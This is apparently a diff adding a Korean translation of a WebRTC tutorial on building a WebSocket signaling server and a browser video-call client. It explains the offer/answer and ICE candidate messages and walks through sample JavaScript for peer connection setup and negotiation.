+<p>이제, WebRTC 시그널링을 지원하는 chat server를 만들기 위해 어떻게 해야하는지 보자. 앞으로 나오는 코드들은 <a href="https://github.com/mdn/samples-server/tree/master/s/webrtc-from-chat/chatserver.js">chatserver.js</a> 안에 있는 코드이다.</p>
+
+<p>우선 <code>sendToOneUser()</code>함수를 추가하자. 이름이 말하듯, stringified JSON 메세지를 특정한 유저에게 보내는 것이다.</p>
+
+<pre class="brush: js notranslate">function sendToOneUser(target, msgString) {
+  var isUnique = true;
+  var i;
+
+  for (i=0; i&lt;connectionArray.length; i++) {
+    if (connectionArray[i].username === target) {
+      connectionArray[i].sendUTF(msgString);
+      break;
+    }
+  }
+}</pre>
+
+<p>이 함수는 연결된 유저 리스트를 확인하면서 특정한 username을 가지는 유저을 찾고, 이 유저에게 메세지를 보낸다. 함수의 인자로 들어가는 메시지 <code>msgString</code>은 stringified JSON object 이다. Stringified 가 아닌 원본의 메세지 object를 받도록 해도 되지만, JSON이 더 유용하고 편하다. 이 메세지는 이미 stringified 된 상태로 함수에 전달되기 때문에, 더 이상의 메세지에 관한 처리 없이 메세지를 그대로 보내기만 하면 된다. </p>
+
+<p>원본 chat demo는 특정 유저에게 메세지를 보내는 것을 지원하지 않는다. Main WebSocket message handler를 수정해야 이것이 가능하게 되며, 구체적으로는<code>connection.on()</code>함수의 마지막 부분을 수정하면 된다.</p>
+
+<pre class="brush: js notranslate">if (sendToClients) {
+  var msgString = JSON.stringify(msg);
+  var i;
+
+  // If the message specifies a target username, only send the
+  // message to them. Otherwise, send it to every user.
+  if (msg.target &amp;&amp; msg.target !== undefined &amp;&amp; msg.target.length !== 0) {
+    sendToOneUser(msg.target, msgString);
+  } else {
+    for (i=0; i&lt;connectionArray.length; i++) {
+      connectionArray[i].sendUTF(msgString);
+    }
+  }
+}</pre>
+
+<p>이 코드는 메세지에서 <code>target</code> 특성이 정의되었는지 체크한다. 이 특성은 메세지를 전달하고 싶은 사람의 username으로 정의할 수 있다. 만약 <code>target</code>파라미터가 존재한다면, <code>sendToOneUser()</code>함수를 콜하면서 그 유저에게 메세지를 전송한다. 그렇지 않다면, 모든 유저에게 메세지를 브로드케스트를 한다.</p>
+
+<p>위에 있는 코드는 별도의 수정이 필요 없이 임의의 메세지 타입들을 보낼 수 있다. 클라이언트들은 이제 특정한 유저에게 unknown 타입의 메세지도 보낼수 있고, 시그널링 메세지를 원하는 대로 보낼 수 있다. 구체적인 내용은 다음을 살펴보자.</p>
+
+<h3 id="Designing_the_signaling_protocol">Designing the signaling protocol</h3>
+
+<p>이제 우리는 메세지를 교환하는 메커니즘을 만들었다. 이제 메세지들을 어떻게 구성할지에 대한 프로토콜이 필요하다. 이것은 여러 가지 방법으로 가능한데, 여기서 다루는 것은 그 중 하나의 시그널링 메세지 구조이다.</p>
+
+<p>우리가 제공하는 시그널링 서버는 stringified JSON object 을 가지고 클라언트간에 데이터를 주고 받는다. 즉, 이것은 시그널링 메세지들이 JSON format으로 되어있으며, 메세지의 type 등 메세지를 적절하게 처리할 수 있도록 여러 정보들이 포함되어 있다.</p>
+
+<h4 id="Exchanging_session_descriptions">Exchanging session descriptions</h4>
+
+<p>시그널링 프로세스를 시작할 때, call을 시작 하는 유저가 <em><strong>offer </strong></em>란 것을 만든다. 이 offer는 세션 정보를 SDP 포맷으로 가지고 있으며, 커넥션이 이어지기를 원하는 유저(callee)에게 전달되어야 한다. Callee 는 이 offer에 SDP description을 포함하는 <em><strong>answer </strong></em>메세지를 보내야한다. 우리가 사용할 offer 메세지들은 <code>"video-offer"</code> 이라는 타입을 사용할 것이고 answer 메세지들은 <code>"video-answer"</code> 타입의 메세지를 사용할 것이다. 이 메세지들은 아래와 같은 field를 가진다.</p>
+
+<dl>
+ <dt><code>type</code></dt>
+ <dd>메세지의 타입이라; <code>"video-offer"</code> 또는 <code>"video-answer"</code>.</dd>
+ <dt><code>name</code></dt>
+ <dd>보내는 사람의 username 이다.</dd>
+ <dt><code>target</code></dt>
+ <dd>받는 사람의 username이다. (만약 caller가 메세지를 보낸다면, target은 callee 를 뜻한다, vice-versa.)</dd>
+ <dt><code>sdp</code></dt>
+ <dd>커넥션의 local 정보를 설명하는 SDP (Session Description Protocol) 스트링(e.g. 수신자의 관점으로 볼 때, SDP는 커넥션의 remote 정보이다.)</dd>
+</dl>
+
+<p>현 시점에서 두 피어들은 이 call에 대해 어떤 코덱들과 어떤 video parameter들이 사용될지 알게 된다. 하지만, 그들은 여전히 미디어 데이터 자체를 전송하는 방법을 모른다. 여기서 Interactive Connectivity Establishment (ICE)가 사용된다.</p>
+
+<h4 id="Exchanging_ICE_candidates">Exchanging ICE candidates</h4>
+
+<p>SDP를 서로 교환한 후에, 두 피어들은 <strong>ICE candidate</strong>(ICE 후보)들을 교환하기 시작한다. 각 ICE candidate는 발신 피어 입장에서 통신을 할 수 있는 방법을 설명한다. 각 피어는 검색되는 순서대로 candidate를 보내고 미디어가 이미 스트리밍을 시작 했더라도 모든 가능한 candidate가 전송 완료될 때까지 계속 보낸다. 두 피어가 서로 호환되는 candidate를 제안했다면, 미디어는 통신을 시작한다. 만약 나중에 더 나은 방법이 있다면(더 높은 성능을 가지는), 그 스트림은 필요에 따라 포맷을 바꿀 수도 있다.</p>
+
+<p>비록 지금은 지원하지 않지만, 이 기술은 이론상 낮은 bandwidth의 연결에 대해 다운그레이드에 사용될 수 있다.</p>
+
+<p>시그널링 서버를 통해 전달되는 ICE candidate들에 관한 메세지의 타입은 <code>"new-ice-candidate"</code> 이며, 이 메세지들은 아래 field를 가진다.</p>
+
+<dl>
+ <dt><code>type</code></dt>
+ <dd>메세지 타입 : <code>"new-ice-candidate"</code>.</dd>
+ <dt><code>target</code></dt>
+ <dd>현재 협상을 진행 중인 사람의 username. 시그널링 서버는 이 유저에게만 직접 메세지를 보낸다.</dd>
+ <dt><code>candidate</code></dt>
+ <dd>제안된 커넥션 방법을 설명하는 SDP candidate string.</dd>
+</dl>
+
+<p>각 ICE 메세지들은 두 개의 컴퓨터를 서로 연결하기 위한 정보들에 덧붙여 프로토콜(TCP or UDP), IP 주소, 포트 넘버, 커넥션 타입 등을 제안한다. 여기에는 NAT 혹은 다른 복잡한 네트워킹을 포함한다.</p>
+
+<div class="note">
+<p>중요. ICE negotiation 동안 너의 코드가 해야할 것은 오직 ICE layer에서 외부로 나갈 candidate들을 선택하는 것과, <a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection/onicecandidate"><code>onicecandidate</code></a>handler가 불렸을 때 시그널링 서버를 통해 그것들을 다른 피어에 보내는 것이다. 그리고 시그널링 서버로부터 ICE candidate 메세지를 받고 <a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection/addIceCandidate"><code>RTCPeerConnection.addIceCandidate()</code></a>를 호출하여 너의 ICE layer에 그들을 전달한다. 그것 뿐이다. 정확히 무엇을 하는지 알기 전까진, 더 이상 깊이 생각하지 말자!</p>
+</div>
+
+<p>너의 시그널링 서버가 이제 해야할 일은 요청된 메세지를 보내는 것이다. 부가적으로 login/authentication 같은 기능들이 필요할 수도 있는데, 자세한 내용은 달라질 수 있다.</p>
+
+<h2 id="Signaling_transaction_flow">Signaling transaction flow</h2>
+
+<p>시그널링 정보는 연결할 두 피어들 사이에서 교환된다. 아주 기초적인 수준에서 어떤 메세지들이 누가 누구에게 왜 전달해야하는지 보자.</p>
+
+<p>시그널링 프로세스는 다양한 부분에서 다음과 같은 메시지 교환을 포함한다. 각 유저의 채팅 시스템의 웹 애플리케이션 인스턴스, 각 유저의 브라우저, 시그널링 서버 그리고 호스팅 웹 서버 등.</p>
+
+<p>Naomi와 Priya는 채팅 소프트웨어를 사용해 대화에 참여했고 Naomi는 둘 사이에 영상 통화를 하기로 결정한다. 다음 표는 이벤트들이 발생하는 과정이다.</p>
+
+<p><a href="https://mdn.mozillademos.org/files/12363/WebRTC%20-%20Signaling%20Diagram.svg"><img alt="Diagram of the signaling process" src="https://mdn.mozillademos.org/files/12363/WebRTC%20-%20Signaling%20Diagram.svg" style="height: 865px; width: 700px;"></a></p>
+
+<p>곧 더 자세한 설명을 볼 수 있다.</p>
+
+<h2 id="ICE_candidate_exchange_process">ICE candidate exchange process</h2>
+
+<p>각 피어들의 ICE layer에서 candidate들을 보내기 시작할 때, 다음 그림과 같은 교환이 일어난다.</p>
+
+<p><a href="https://mdn.mozillademos.org/files/12365/WebRTC%20-%20ICE%20Candidate%20Exchange.svg"><img alt="Diagram of ICE candidate exchange process" src="https://mdn.mozillademos.org/files/12365/WebRTC%20-%20ICE%20Candidate%20Exchange.svg" style="height: 590px; width: 700px;"></a></p>
+
+<p>각 피어들은 candidate 들을 전송하고, 준비가 되면 받은 candidate 들을 처리한다. Candidate들은 양 피어들이 동의할 때까지 계속 교환되며, 미디어가 송수신 되도록 만든다. "ICE exchange"은 양측이 교대로 제안을하는 것을 의미하지 않는다. 올바르게 작동할 경우, 각 피어들은 모두 소진되거나 서로 동의할 때까지 상대방에게 제안할 candidate 들을 계속 전송한다.</p>
+
+<p>만약 조건들이 바뀐다면, 예를들어 네트워크 커넥션이 악화되면, 하나 혹은 양 피어들은 낮은 bandwidth의 미디어 해상도로 바꾸거나 다른 코덱을 사용하자고 제안할 것이다. 다음 candidate 교환에서 양 피어 모두 새로운 포맷에 동의한다면, 다른 미디어 포맷 혹은 다른 코덱으로 바뀔 수도 있다.</p>
+
+<p>부가적으로 만약 ICE layer 내부의 프로세스를 더 자세히 이해하고 싶다면 <a href="http://tools.ietf.org/html/5245">RFC 5245: Interactive Connectivity Establishment</a>,<a href="https://tools.ietf.org/html/rfc5245#section-2.6">section 2.6 ("Concluding ICE")</a> 를 참조해라. ICE layer가 준비 되자마자 candiate들이 교환되고 미디어들은 통신되기 시작한다는 것을 기억해라. 이 모든 것은 뒤에서 알아서 돌아간다. 우리의 역할은 그저 시그널링 서버를 통해 candidate들을 서로에게 보내는 것이다.</p>
+
+<h2 id="The_client_application">The client application</h2>
+
+<p>지금부터 위에서 설명한 개념들을 샘플 코드를 통해서 자세히 배워보자.</p>
+
+<p>어떤 시그널링 프로세스든지 핵심은 메세지 핸들링에 있다. Websocket을 시그널링에 꼭 사용할 필요는 없지만, 일반적인 솔루션으로 쓰인다. 다른 솔루션도 충분히 빠르고 같은 결과를 볼 수 있다.</p>
+
+<h3 id="Updating_the_HTML">Updating the HTML</h3>
+
+<p>클라이언트는 비디오를 표시할 공간이 필요하다. 2개의 video와 전화를 걸 button 을 정의한 HTML 코드이다.</p>
+
+<pre class="brush: html notranslate">      &lt;div class="flexChild" id="camera-container"&gt;
+        &lt;div class="camera-box"&gt;
+          &lt;video id="received_video" autoplay&gt;&lt;/video&gt;
+          &lt;video id="local_video" autoplay muted&gt;&lt;/video&gt;
+          &lt;button id="hangup-button" onclick="hangUpCall();" disabled&gt;
+            Hang Up
+          &lt;/button&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;</pre>
+
+<p>위에 있는 page structure은 <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/div"><code>&lt;div&gt;</code></a>태그를 이용하고 CSS 사용을 허용함으로써 페이지 레이아웃 전체를 구성한다. 여기서는 레이아웃에 관한 자세한 내용은 스킵하지만, 위의 코드가 어떻게 돌아가는지 확인해보자. <a href="https://www.gitbook.com/book/gustnxodjs/webrtc-kor/edit#">take a look at the CSS</a> on Github. 두개의 <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/video"><code>&lt;video&gt;</code></a> 중 하나는 너의 self video이고 다른 하나는 상대방의 video를 위한 요소이다.</p>
+
+<p><code>id</code>가 "<code>received_video</code>" 인 <code>&lt;video&gt;</code>element는 연결된 상대방으로부터 수신되는 비디오를 보여주는 곳이다. <code>autoplay</code>attribute는 비디오가 도달하기 시작하면 즉시 재생시키는 역할을 한다. 이것은 따로 재생에 관련된 코드를 처리할 필요를 없애준다. <code>id</code>가 "<code>local_video</code>" 인 <code>&lt;video&gt;</code>element에는 너의 카메라의 영상이 나오게된다. <code>muted</code> attribute는 너의 로컬 오디오를 음소거한다.</p>
+
+<p>마지막으로, 통화를 끊을 수 있는 <code>id</code>가 "<code>hangup-button</code>"인 <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/button"><code>&lt;button&gt;</code></a>은 비활성화 된 상태(아무 전화도 연결되지 않은 default 상태)로 구성된다. 그리고 이 버튼을 클릭시에 <code>hangUpCall()</code>함수가 실행 된다. 이 함수의 역할은 현재 연결된 call을 끊고 다른 피어에게 연결을 끊으라는 메세지를 전달한다.</p>
+
+<h3 id="The_JavaScript_code">The JavaScript code</h3>
+
+<p>어떻게 돌아가는지 알기 쉽게 하기 위해 각 기능별로 코드를 나누었다. 이 코드의 메인 부분은 <code>connect()</code>함수 안에 있다. 이 함수 안에서 6503 포트로 <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebSocket"><code>WebSocket</code></a>server에 연결하며, JSON object format의 메세지를 받기 위한 handler를 설정한다. <del>이 코드는 일반적으로 이전처럼 문자 채팅 메세지를 처리한다.</del></p>
+
+<h4 id="Sending_messages_to_the_signaling_server">Sending messages to the signaling server</h4>
+
+<p>코드 전반에 걸쳐서 시그널링 서버에 메세지를 보내기 위해 <code>sendToServer()</code>함수를 호출한다. 이 함수는 WebSocket 커넥션을 이용하여 작동한다.</p>
+
+<pre class="brush: js notranslate">function sendToServer(msg) {
+  var msgJSON = JSON.stringify(msg);
+
+  connection.send(msgJSON);
+}</pre>
+
+<p>전달된 메세지 object는 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify"><code>JSON.stringify()</code></a>함수에 의해 JSON string으로 바뀐다. 그 후, WebSocket 커넥션의 <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebSocket/send"><code>send()</code></a>함수를 통해 서버로 전달된다.</p>
+
+<h4 id="UI_to_start_a_call">UI to start a call</h4>
+
+<p>"userlist"에 관한 코드는 <code>handleUserlistMsg()</code>함수에 있다. 왼쪽 채팅 패널에 보여지는 유저 리스트에 있는 각 연결된 유저 마다 handler 를 걸어준다. 이 함수는 (온라인 상태인 유저들의 username을 배열로 저장하고 있는) <code>users</code>property를 가지고 있는 메세지 object를 받는다. 이해하기 쉽도록 여러 섹션들에서 이 코드를 살펴 보겠다.</p>
+
+<pre class="brush: js notranslate">function handleUserlistMsg(msg) {
+  var i;
+
+  var listElem = document.getElementById("userlistbox");
+
+  while (listElem.firstChild) {
+    listElem.removeChild(listElem.firstChild);
+  }
+
+  // …</pre>
+
+<p><code>listElem</code>변수를 통해 username들의 리스트인 <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/ul"><code>&lt;ul&gt;</code></a>을 참조한다. 그런 다음에 각 child element를 하나씩 제거하면서 목록을 비운다 .</p>
+
+<div class="note">
+<p>명백히, 바뀔 때마다 전체 리스트를 새로 만드는 것보다, 개개인을 추가 및 제거 후 업데이트하는 것이 더 효율적이다. 그러나, 예제이므로 단순하게 하겠다.</p>
+</div>
+
+<p>그 후, 새로운 user 리스트를 만든다.</p>
+
+<pre class="brush: js notranslate">  // …
+
+  for (i=0; i &lt; msg.users.length; i++) {
+    var item = document.createElement("li");
+    item.appendChild(document.createTextNode(msg.users[i]));
+    item.addEventListener("click", invite, false);
+
+    listElem.appendChild(item);
+  }
+}
+</pre>
+
+<p>다음으로 (채팅 서버에) 현재 연결된 각 유저들 각각을 나타내는 <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/li"><code>&lt;li&gt;</code></a>element들을 DOM에 추가한다. 그런 다음에, username이 클릭 되었을 때 <code>invite()</code>함수를 실행시키는 listener을 추가한다. 이 함수 이것은 다른 유저에게 call을 하는 process를 시작한다.</p>
+
+<h4 id="Starting_a_call">Starting a call</h4>
+
+<p>통화를 하고 싶은 유저의 username을 클릭을 하면, <a href="https://developer.mozilla.org/en-US/docs/Web/Events/click"><code>click</code></a> event의 handler인<code>invite()</code>함수가 실행된다.</p>
+
+<pre class="brush: js notranslate">var mediaConstraints = {
+  audio: true, // We want an audio track
+  video: true // ...and we want a video track
+};
+
+function invite(evt) {
+  if (myPeerConnection) {
+    alert("You can't start a call because you already have one open!");
+  } else {
+    var clickedUsername = evt.target.textContent;
+
+    if (clickedUsername === myUsername) {
+      alert("I'm afraid I can't let you talk to yourself. That would be weird.");
+      return;
+    }
+
+    targetUsername = clickedUsername;
+
+    createPeerConnection();
+
+    navigator.mediaDevices.getUserMedia(mediaConstraints)
+    .then(function(localStream) {
+      document.getElementById("local_video").srcObject = localStream;
+      myPeerConnection.addStream(localStream);
+    })
+    .catch(handleGetUserMediaError);
+  }
+}</pre>
+
+<p>가장 먼저 해야할 일은 빠르게 여러 상태들을 점검하는 것이다. 유저가 이미 call을 열었는지, 혹은 유저가 자신에게 call을 신청했는지 등, 이 케이스들에는 새로운 call을 시도할 이유가 없다. 따라서 왜 call을 하지 못하는지 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/alert"><code>alert()</code></a>를 통해 설명한다.</p>
+
+<p>그 다음에 call을 하려는 유저의 이름을 <code>targetUsername</code>변수 안에 넣고 <code>createPeerConnection()</code>함수를 실행시킨다. 이 함수는 <a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection"><code>RTCPeerConnection</code></a> 의 기본적인 구성과 기능을 수행한다.</p>
+
+<p><code>RTCPeerConnection</code> 이 생성되면, <a href="https://developer.mozilla.org/en-US/docs/Web/API/Navigator/mediaDevices/getUserMedia"><code>Navigator.mediaDevices.getUserMedia</code></a>함수를 통해 유저의 카메라와 마이크에 권한을 요청한다. 카메라와 마이크에서 나오는 로컬 스트림을 로컬 비디오 preview의 <a href="https://developer.mozilla.org/en-US/docs/Web/API/MediaElement/srcObject"><code>srcObject</code></a>property에 설정한다. 그리고 <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/video"><code>&lt;video&gt;</code></a>element가 자동으로 들어오는 비디오를 재생하도록 구성되었기 때문에, stream은 로컬 preview box에서 재생을 시작한다.</p>
+
+<p>그 다음에 <a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection"><code>RTCPeerConnection</code></a>에 stream을 추가하기 위해 <a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection/addStream"><code>myPeerConnection.addStream()</code></a>함수를 실행한다. WebRTC 커녁션이 완전히 준비되지 않았더라도 WebRTC 커넥션에 stream을 보내기 시작한다.</p>
+
+<p>만약 local media stream을 가져오는 동안 에러가 발생한다면, <code>catch</code> clause가 <code>handleGetUserMediaError()</code>함수를 불러 필요에 따라 유저에게 적절한 에러 메세지를 보여줄 것이다.</p>
+
+<h4 id="Handling_getUserMedia_errors">Handling getUserMedia() errors</h4>
+
+<p><code>getUserMedia()</code>에 의해 리턴된 <code>promise</code>가 실패로 끝나면, <code>handleGetUserMediaError()</code>함수가 실행된다.</p>
+
+<pre class="brush: js notranslate">function handleGetUserMediaError(e) {
+  switch(e.name) {
+    case "NotFoundError":
+      alert("Unable to open your call because no camera and/or microphone" +
+            "were found.");
+      break;
+    case "SecurityError":
+    case "PermissionDeniedError":
+      // Do nothing; this is the same as the user canceling the call.
+      break;
+    default:
+      alert("Error opening your camera and/or microphone: " + e.message);
+      break;
+  }
+
+  closeVideoCall();
+}</pre>
+
+<p>에러 메세지는 모든 케이스 중 하나만 표시된다. 이 예제에서 call을 취소하는 거와 같이, 미디어 하드웨어의 접근 권한을 거부하는 것에 대해 발생하는 에러들( <code>"SecurityError"</code> 와<code>"PermissionDeniedError"</code>)은 무시한다.</p>
+
+<p>Stream을 가져오는 것을 실패하는 이유와 관계 없이, <a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection"><code>RTCPeerConnection</code></a>을 닫기 위해 <code>closeVideoCall()</code>function를 부른다. 그리고 call을 하기 위해 할당된 리소스들을 반납한다. 이 코드는 일부분만 실행된 call을 안전하게 처리할 수 있도록 설계되었다.</p>
+
+<h4 id="Creating_the_peer_connection">Creating the peer connection</h4>
+
+<p><code>createPeerConnection()</code>함수는 caller와 callee에서 WebRTC 커넥션의 각 종점을 나타내는 <a href="https://developer.mozilla.org/ko/docs/Web/API/RTCPeerConnection"><code>RTCPeerConnection</code></a>object를 생성하는데 사용된다. Caller는 <code>invite()</code>함수를 통해, callee는 <code>handleVideoOfferMsg()</code> 에 의해 실행된다.</p>
+
+<p>이것은 상당히 명료하다:</p>
+
+<pre class="brush: js notranslate">var myHostname = window.location.hostname;
+
+function createPeerConnection() {
+  myPeerConnection = new RTCPeerConnection({
+      iceServers: [     // Information about ICE servers - Use your own!
+        {
+          urls: "turn:" + myHostname,  // A TURN server
+          username: "webrtc",
+          credential: "turnserver"
+        }
+      ]
+  });
+
+// …
+</pre>
+
+<p>웹서버와 같은 호스트에 STUN/TURN 서버를 돌리고 있기 때문에, STUN/TURN 서버의 도메인 이름을 <a href="https://developer.mozilla.org/ko/docs/Web/API/Location/hostname"><code>location.hostname</code></a>을 사용하여 설정했다. 만약 다른 서버의 STUN/TURN 서버를 사용한다면 urls 값을 그 서버로 바꿔주면 된다.</p>
+
+<p><code>RTCPeerConnection</code>을 만들 때, call을 구성하는 파라미터들을 명시해줘야한다. 가장 중요한 것은 STUN/TURN 서버의 리스트(<a href="https://developer.mozilla.org/en-US/docs/Glossary/ICE">ICE</a> layer에서 caller와 callee의 경로를 찾는데 사용되는 서버)를 담고 있는 <code>iceServers</code>이다<strong>(주의. 웹소켓을 이용한 시그널링 서버와 전혀 다른 개념이다)</strong>. WebRTC는 두 피어가 방화벽이나 NAT 뒤에 숨어 있어도, 각 피어들의 서로 연결될 수 있도록 피어간 연결 경로를 찾아주는 프로토콜(STUN, TURN)을 사용한다.</p>
+
+<div class="note">
+<p>직접 만든 혹은 사용할 권한을 가지고 있는 STUN/TURN 서버를 사용해야 한다.</p>
+</div>
+
+<p><code>iceServers</code>parameter는 object의 배열이고 각각은 STUN/TURN 서버의 URL인 <code>urls</code>field를 무조건 포함한다. 예제에서, ICE layer에서 다른 피어를 찾아 연결 시키기 위한 서버를 제공한다. 이 서버는 TURN 서버이며, Web 서버와 같은 hostname에서 돌아간다. TURN 서버의 description에 <code>username</code>과<code>credential</code>field에 각각 username과 password 정보를 항상 포함시켜야한다는 것을 유의해라.</p>
+
+<h5 id="Set_up_event_handlers">Set up event handlers</h5>
+
+<p><a href="https://developer.mozilla.org/ko/docs/Web/API/RTCPeerConnection"><code>RTCPeerConnection</code></a>이 생성되면, 중요한 이벤트들을 위한 handler를 설정해야한다.</p>
+
+<pre class="brush: js notranslate">// …
+  myPeerConnection.onicecandidate = handleICECandidateEvent;
+  myPeerConnection.onaddstream = handleAddStreamEvent;
+  myPeerConnection.onremovestream = handleRemoveStreamEvent;
+  myPeerConnection.oniceconnectionstatechange = handleICEConnectionStateChangeEvent;
+  myPeerConnection.onicegatheringstatechange = handleICEGatheringStateChangeEvent;
+  myPeerConnection.onsignalingstatechange = handleSignalingStateChangeEvent;
+  myPeerConnection.onnegotiationneeded = handleNegotiationNeededEvent;
+}</pre>
+
+<p>위에 있는 이벤트 핸들러 중 처음 두 개는 필수이다. WebRTC로 스트리밍된 미디어와 관련된 것들을 다루기위해 두 핸들러를 설정해야한다. <a href="https://developer.mozilla.org/ko/docs/Web/Reference/Events/removestream"><code>removestream</code></a>event는 스트리밍이 중단된 것을 감지하는데 유용하다. 따라서 아마 이것도 사용하게 될 것이다. 남아 있는 4개는 필수적인 것은 아니나, 직접 사용해보자. 이것들 외에도 다른 이벤트들을 사용할 수 있으나 여기에서는 다루지 않겠다. 각 핸들러에 관한 요약 설명이다.</p>
+
+<dl>
+ <dt>{{domxref("RTCPeerConnection.onicecandidate")}}</dt>
+ <dd>로컬 ICE layer는 시그널링 서버를 통해 다른 피어에 ICE candidate를 전송하고자 할 때, 너의 <a href="https://developer.mozilla.org/en-US/docs/Web/Events/icecandidate"><code>icecandidate</code></a>event handler를 호출한다.</dd>
+ <dt>{{domxref("RTCPeerConnection.onaddstream")}}</dt>
+ <dd><a href="https://developer.mozilla.org/en-US/docs/Web/Events/addstream"><code>addstream</code></a>event를 위한 이 핸들러는 너의 커넥션에 remote stream이 추가된 것을 알려주기 위해, 로컬 WebRTC layer에 의해 불려진다. 예를들어, 이것은 들어오는 stream을 element에 연결시켜 디스플레이 되게 만들 때 사용된다. 더 자세한 내용은 <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling?document_saved=true#Receiving_new_streams">Receiving new streams</a> 을 참조해라.</dd>
+ <dt>{{domxref("RTCPeerConnection.onremovestream")}}</dt>
+ <dd>커넥션에서 remote가 stream을 제거할 때, <code>onaddstream</code>의 반대인 <code>onremovestream은</code> <a href="https://developer.mozilla.org/en-US/docs/Web/Events/removestream"><code>removestream</code></a> event을 처리하기위해 실행된다.</dd>
+ <dt>{{domxref("RTCPeerConnection.oniceconnectionstatechange")}}</dt>
+ <dd>ICE 커넥션의 상태 변경을 알리기위해 ICE layer가 <a href="https://developer.mozilla.org/en-US/docs/Web/Events/iceconnectionstatechange"><code>iceconnectionstatechange</code></a> event 를 보낸다. 이것을 통해 커넥션이 실패하거나 끊어지는 것을 알 수 있다. 이 것에 대한 예제를 아래의 <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling?document_saved=true#ICE_connection_state">ICE connection state</a> 에서 볼 것이다.</dd>
+ <dt>{{domxref("RTCPeerConnection.onicegatheringstatechange")}}</dt>
+ <dd>하나의 상태에서 다른 상태(예를들어, candidate를 모으기 시작하거나 negotiation이 끝났을 때)로 ICE agent의 candidate 수집 프로세스가 변하면, ICE layer는 <a href="https://developer.mozilla.org/en-US/docs/Web/Events/icegatheringstatechange"><code>icegatheringstatechange</code></a> event를 보낸다. 아래의 <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling?document_saved=true#ICE_gathering_state">ICE gathering state</a> 을 참조해라.</dd>
+ <dt>{{domxref("RTCPeerConnection.onsignalingstatechange")}}</dt>
+ <dd>시그널링 프로세스의 state가 바뀌게 될 때, WebRTC 인프라는 너에게 <a href="https://developer.mozilla.org/en-US/docs/Web/Events/signalingstatechange"><code>signalingstatechange</code></a> message를 보낸다. <a href="https://www.gitbook.com/book/gustnxodjs/webrtc-kor/edit#">Signaling state</a> 에서 코드를 볼 수 있다.</dd>
+ <dt>{{domxref("RTCPeerConnection.onnegotiationneeded")}}</dt>
+ <dd>이 함수는 WebRTC 인프라가 session negotiation 프로세스를 새로 시작해야할 때마다 불린다. 이것의 일은 callee에게 offer를 생성 후 전달하고, 우리에게 연결을 할 것인지 물어보는 것이다. 어떻게 처리하는지 <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling?document_saved=true#Starting_negotiation">Starting negotiation</a> 를 참조해라.</dd>
+</dl>
+
+<h4 id="Starting_negotiation">Starting negotiation</h4>
+
+<p>Caller가 자신의 <a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection"><code>RTCPeerConnection</code></a>과 media stream을 생성하고 <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling?document_saved=true#Starting_a_call">Starting a call</a>에서 보이는 것처럼 커넥션에 추가하면, 브라우져는 다른 피어와 커넥션이 준비가 될 때 <a href="https://developer.mozilla.org/en-US/docs/Web/Events/negotiationneeded"><code>negotiationneeded</code></a> event를 활성화 시킬 것이다. 밑에는 이벤트를 핸들링하는 코드이다.</p>
+
+<pre class="brush: js notranslate">function handleNegotiationNeededEvent() {
+  myPeerConnection.createOffer().then(function(offer) {
+    return myPeerConnection.setLocalDescription(offer);
+  })
+  .then(function() {
+    sendToServer({
+      name: myUsername,
+      target: targetUsername,
+      type: "video-offer",
+      sdp: myPeerConnection.localDescription
+    });
+  })
+  .catch(reportError);
+}</pre>
+
+<p>Negotiation 프로세스를 시작하기 위해, 우리가 연결하고자 하는 피어에게 SDP offer를 생성하고 전송해야한다. 이 offer는 커넥션에 로컬로 추가한 media stream 정보(call의 다른 피어에게 전달하고 싶은 비디오)와 ICE layer에 의해 미리 모아 놓은 ICE candidates 정보들을 포함해, 커넥션에 지원되는 구성 목록들을 포함한다. <a href="https://www.gitbook.com/book/gustnxodjs/webrtc-kor/edit#"><code>myPeerConnection.createOffer()</code></a>를 호출함으로써 이 offer를 생성한다. 이 것이 성공한다면(promise에서 fulfill되면), <a href="https://www.gitbook.com/book/gustnxodjs/webrtc-kor/edit#"><code>myPeerConnection.setLocalDescription()</code></a>으로 생성된 offer 정보를 전달한다.<a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection/setLocalDescription"><code>myPeerConnection.setLocalDescription()</code></a>은 커넥션에서 자신의 미디어 구성 상태나 연결 정보들을 구성한다.</p>
+
+<div class="note">
+<p>기술적으로 말하자면, <code>createOffer()</code>에 의해 리턴되는 blob은 <a href="http://tools.ietf.org/html/3264">RFC 3264</a> offer 이다.</p>
+</div>
+
+<p><code>setLocalDescription()</code>이 완료되어 promise를 리턴하면, description 이 유효하고 세팅 되었음을 알 수 있다. 그 이후에 local description을 포함하는 새로운 <code>"video-offer"</code>message를 만들어 시그널링 서버를 통해 다른 피어에게 전송한다. 이 offer는 다음과 같은 내용을 가진다.</p>
+
+<dl>
+ <dt><code>type</code></dt>
+ <dd>메세지의 타입은 <code>"video-offer"</code>.</dd>
+ <dt><code>name</code></dt>
+ <dd>caller의 username.</dd>
+ <dt><code>target</code></dt>
+ <dd>call을 하고자 하는 user의 name.</dd>
+ <dt><code>sdp</code></dt>
+ <dd>offer에 관한 설명을 하는 SDP blob.</dd>
+</dl>
+
